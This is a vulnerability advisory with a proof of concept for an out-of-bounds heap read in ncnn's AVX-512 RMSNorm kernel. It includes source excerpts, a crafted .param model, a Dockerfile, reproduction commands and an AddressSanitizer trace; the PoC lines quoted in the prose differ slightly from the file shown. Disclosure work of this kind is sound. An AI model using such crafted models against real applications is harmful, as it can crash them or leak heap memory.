RMSNorm AVX-512 Out-of-Bounds Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/rmsnorm_x86.cpp:276 in rmsnorm
Sanitizer verdict: unknown-crash

Summary

A crafted ncnn model makes the x86 RMSNorm kernel read far past the end of its gamma weight buffer, aborting ncnnoptimize and, in a build without a sanitizer, folding adjacent heap bytes into the layer output. The attacker supplies only a .param file: ncnnoptimize (tools/ncnnoptimize.cpp) loads it through Net::load_param/Net::load_model and then executes the graph in ModelWriter::shape_inference(). The same path is reached by any application that calls Net::load_param plus Extractor::extract on an untrusted model. The read length is bounded only by the declared input width, so the attacker chooses how far past the allocation the layer walks.

Detail

RMSNorm::load_param takes affine_size straight from parameter field 0 of the model file, and RMSNorm::load_model sizes the gamma weight blob from exactly that value. The normalization extent actually used at run time, however, comes from the tensor — bottom_top_blob.w — and the two are never compared. The x86 override only documents the missing check with a comment (// assert affine_size == w) before handing both pointers to the SIMD kernel:

// src/layer/rmsnorm.cpp:14
int RMSNorm::load_param(const ParamDict& pd)
{
    affine_size = pd.get(0, 0);
    eps = pd.get(1, 0.001f);
    affine = pd.get(2, 1);

    return 0;
}

int RMSNorm::load_model(const ModelBin& mb)
{
    if (affine == 0)
        return 0;

    gamma_data = mb.load(affine_size, 1);

// src/layer/x86/rmsnorm_x86.cpp:366
    if (dims == 1)
    {
        // assert affine_size == w

        float* ptr = bottom_top_blob;
        rmsnorm(ptr, gamma_data, eps, w * elempack, 1);
    }

// src/layer/x86/rmsnorm_x86.cpp:273
            for (; i + 15 < size; i += 16)
            {
                __m512 _p = _mm512_loadu_ps(ptr);
                __m512 _gamma = _mm512_loadu_ps(gamma_ptr);
                _p = _mm512_mul_ps(_p, _rms_avx512);
                _p = _mm512_mul_ps(_p, _gamma);
                _mm512_storeu_ps(ptr, _p);
                ptr += 16;
                gamma_ptr += 16;
            }

The PoC declares Input input 0 1 data 0=1024 and RMSNorm norm 1 1 data out 0=1 1=0.001 2=1. affine_size is therefore 1, so gamma_data holds a single float, while shape inference materializes a 1024-element 1-D tensor. forward_inplace takes the dims == 1 branch and calls the kernel with size = 1024, elempack = 1.

In the elempack == 1 block the AVX-512 loop is bounded by i + 15 < size, i.e. 64 iterations, and advances gamma_ptr by 16 floats (64 bytes) per iteration — it is driven entirely by the tensor width and never by the weight length. ncnn's fastMalloc pads the one-float blob to the 84-byte region ASan reports (16-byte aligned payload, 4-byte refcount, plus the 64-byte NCNN_MALLOC_OVERREAD slack from src/allocator.h:36). The first iteration stays inside that slack; the second loads 64 bytes starting at offset 64 and runs off the end at offset 84, which is the partial-range access ASan reports as unknown-crash. The remaining 62 iterations would read up to 4 KB beyond the buffer.

Reproduce

mkdir -p ncnn-poc-rmsnorm-avx-512-out-of-bounds-read && cd ncnn-poc-rmsnorm-avx-512-out-of-bounds-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1024
RMSNorm norm 1 1 data out 0=1
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x59d10f8a42ca bp 0x7fffe649a9f0 sp 0x7fffe649a9e0
READ of size 64 at 0x50e000000080 thread T0
    #0 0x59d10f8a42c9 in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
    #1 0x59d10f8a42c9 in rmsnorm /ncnn/build/src/layer/x86/rmsnorm_x86_avx512.cpp:276
    #2 0x59d10f8a56ce in ncnn::RMSNorm_x86_avx512::forward_inplace(ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/rmsnorm_x86_avx512.cpp:371
    #3 0x59d106a8bfd8 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:711
    #4 0x59d106a7eb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #5 0x59d106ade9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #6 0x59d1069703c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #7 0x59d1069edeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #8 0x77dd1a97a1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x77dd1a97a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x59d10696d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x77dd1aff3f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x59d106a3cbc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x59d106a3cbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x59d106a71c1a in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:309
    #4 0x59d10f87f047 in ncnn::RMSNorm::load_model(ncnn::ModelBin const&) /ncnn/src/layer/rmsnorm.cpp:28
    #5 0x59d106ad9a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #6 0x59d1069edc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #7 0x77dd1a97a1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x77dd1a97a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x59d10696d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)

Credit

Zheng Yu @ DepthFirst